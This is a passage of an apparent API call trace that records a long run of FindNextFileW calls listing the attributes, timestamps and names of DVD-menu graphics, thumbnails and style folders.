nFileSizeLow=0x422c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DvdTransform.fx", cAlternateFileName="")) returned 1 [0055.531] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlipPage", cAlternateFileName="")) returned 1 [0055.531] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Full", cAlternateFileName="")) returned 1 [0055.531] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eec5c7e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eec5c7e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0055.531] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea2923b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea2923b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="heart_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0055.532] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eec5c7e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eec5c7e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1278, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0055.532] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eeebddb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eeebddb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x166e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_VideoInset.png", cAlternateFileName="")) returned 1 [0055.532] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HueCycle", cAlternateFileName="")) returned 1 [0055.532] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LayeredTitles", cAlternateFileName="")) returned 1 [0055.532] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memories", cAlternateFileName="")) returned 1 [0055.532] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e96ab6a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e96ab6a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="menu_style_default_Thumbnail.png", cAlternateFileName="")) returned 1 [0055.532] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef11f38, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef11f38, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0055.532] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef11f38, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef11f38, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0055.532] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef38095, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef38095, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0055.532] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef5e1f2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef5e1f2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0055.532] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef8434f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef8434f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0055.532] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef8434f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef8434f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0055.532] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OldAge", cAlternateFileName="")) returned 1 [0055.532] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Performance", cAlternateFileName="")) returned 1 [0055.532] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets", cAlternateFileName="")) returned 1 [0055.532] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ee00a15, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x4ee00a15, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x14fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="photoedge_buttongraphic.png", cAlternateFileName="")) returned 1 [0055.532] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8601df, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8601df, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1274, dwReserved0=0x0, dwReserved1=0x0, cFileName="photoedge_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0055.533] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e88633c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e88633c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1266, dwReserved0=0x0, dwReserved1=0x0, cFileName="photoedge_videoinset.png", cAlternateFileName="")) returned 1 [0055.533] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efaa4ac, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efaa4ac, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x59b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Postage_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0055.533] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efd0609, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efd0609, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x160f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Postage_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0055.533] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efd0609, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efd0609, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Postage_VideoInset.png", cAlternateFileName="")) returned 1 [0055.533] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Push", cAlternateFileName="")) returned 1 [0055.533] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rectangles", cAlternateFileName="")) returned 1 [0055.533] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9b652, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea9b652, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_babypink_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0055.533] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9b652, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea9b652, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0055.533] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eac17af, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eac17af, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_highlights_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0055.533] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eae790c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eae790c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_performance_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0055.533] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb0da69, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb0da69, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_photo_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0055.533] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea754f5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea754f5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_plain_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0055.533] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb33bc6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb33bc6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_postage_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0055.533] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb59d23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb59d23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_scrapbook_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0055.533] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb59d23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb59d23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_specialocc_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0055.533] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb7fe80, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb7fe80, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_travel_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0055.533] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb7fe80, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb7fe80, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_widescreen_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0055.534] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ResizingPanels", cAlternateFileName="")) returned 1 [0055.534] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e91e8b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e91e8b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="scene_button_style_default_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0055.534] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8d25f6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8d25f6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd86, dwReserved0=0x0, dwReserved1=0x0, cFileName="shadowonlyframe_buttongraphic.png", cAlternateFileName="")) returned 1 [0055.534] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8f8753, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8f8753, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="shadowonlyframe_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0055.534] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8ac499, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8ac499, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="shadowonlyframe_videoinset.png", cAlternateFileName="")) returned 1 [0055.534] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shatter", cAlternateFileName="")) returned 1 [0055.534] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialOccasion", cAlternateFileName="")) returned 1 [0055.534] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, 